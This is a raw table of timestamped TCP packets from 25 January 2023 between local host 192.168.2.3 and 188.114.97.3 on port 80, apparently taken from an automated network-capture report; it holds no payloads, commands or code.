Jan 25, 2023 09:42:41.547821999 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547846079 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547847986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547871113 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547873974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547897100 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547899008 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547921896 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547924042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547944069 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547950029 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547965050 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547965050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547991037 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548012018 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.548021078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548033953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548037052 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.548046112 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548069954 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.548072100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548094988 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.548095942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548120975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548122883 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.548146009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548168898 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.548168898 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.548170090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.548194885 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.548218012 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.565216064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565260887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565275908 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565289974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565301895 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565315962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565334082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565352917 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565356016 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.565382004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565399885 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.565416098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565414906 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.565443993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565444946 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.565454960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.565459967 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.565500021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.565574884 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.567415953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.567462921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.567475080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.567491055 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.567650080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.581846952 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.581887007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.581918001 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.581938028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.581952095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.581965923 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.581985950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582037926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582070112 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582089901 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582118988 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582145929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582304955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582367897 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582431078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582461119 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582508087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582540035 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582556009 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582571030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582604885 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582607031 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582638025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582655907 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582670927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582719088 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582726002 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582751036 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582782984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582809925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582814932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582847118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582879066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582897902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582911968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582942963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582962990 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.582971096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.582997084 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583002090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583034039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583054066 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583065987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583112955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583117962 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583167076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583219051 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583236933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583283901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583340883 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583374023 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583395004 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583405972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583456039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583458900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583504915 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583530903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583600044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583645105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583650112 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583728075 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583774090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583782911 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583806038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583838940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583856106 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583872080 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583903074 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583924055 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.583936930 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.583969116 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584001064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584022999 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584089041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584142923 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584171057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584222078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584270954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584316969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584358931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584377050 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584403992 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584449053 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584470987 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584492922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584563971 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584569931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584614038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584685087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584728956 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584741116 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584770918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584815025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584825993 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584857941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584867954 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584901094 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584947109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.584958076 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.584990978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585033894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585047960 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585077047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585119009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585160971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585175037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585203886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585248947 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585261106 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585294008 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585304976 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585335970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585378885 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585392952 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585421085 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585463047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585505962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585530043 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585549116 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585597992 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585602999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585648060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585690022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585700989 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585733891 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585740089 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585777044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585819960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585829973 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585863113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585906982 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585921049 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.585948944 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.585992098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.586025953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.586049080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.587498903 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.708265066 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.622823954 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.622891903 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.639935970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.639966965 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.703080893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.703164101 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.703269005 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.834852934 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.834898949 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.851972103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.852011919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922513008 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922585011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922632933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922677994 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922777891 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922782898 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.922782898 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.922823906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922871113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922893047 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.922914982 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922965050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.922981024 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.923010111 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.923055887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.923096895 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.923113108 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.923171043 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.968880892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.968947887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.968998909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969037056 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969048977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969096899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969144106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969165087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969192028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969242096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969279051 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969294071 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969305992 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969342947 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969392061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969408989 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969439983 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969492912 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969541073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969587088 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969610929 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969635963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969641924 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969688892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969693899 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969734907 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969783068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969789028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969831944 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969880104 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969887018 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:43.969928026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.969973087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:43.970027924 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.021296978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021363020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021414042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021460056 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021488905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.021511078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021526098 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.021554947 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021600008 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021611929 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.021646976 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021694899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021708965 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.021739960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021747112 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.021787882 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021833897 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021836042 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.021878958 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021924973 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.021934032 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.021970034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022015095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022061110 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022063017 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022104979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022150993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022154093 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022196054 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022200108 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022241116 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022286892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022290945 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022330999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022377968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022381067 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022424936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022468090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022514105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022517920 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022558928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022603989 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022620916 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022650003 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022651911 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022824049 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022882938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022887945 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.022928953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022975922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.022980928 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.023021936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023068905 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023072004 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.023116112 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023160934 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023206949 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.023209095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023255110 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023303032 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023304939 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.023346901 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.023349047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023394108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023439884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023442984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.023490906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023535013 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.023536921 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.059653044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.059747934 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.059822083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.059823990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.059899092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.059948921 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.059963942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060038090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060075998 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.060138941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060179949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060225010 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.060252905 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.060307026 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.060323954 CET	80	49728	188.114.97.3	192.168.2.3
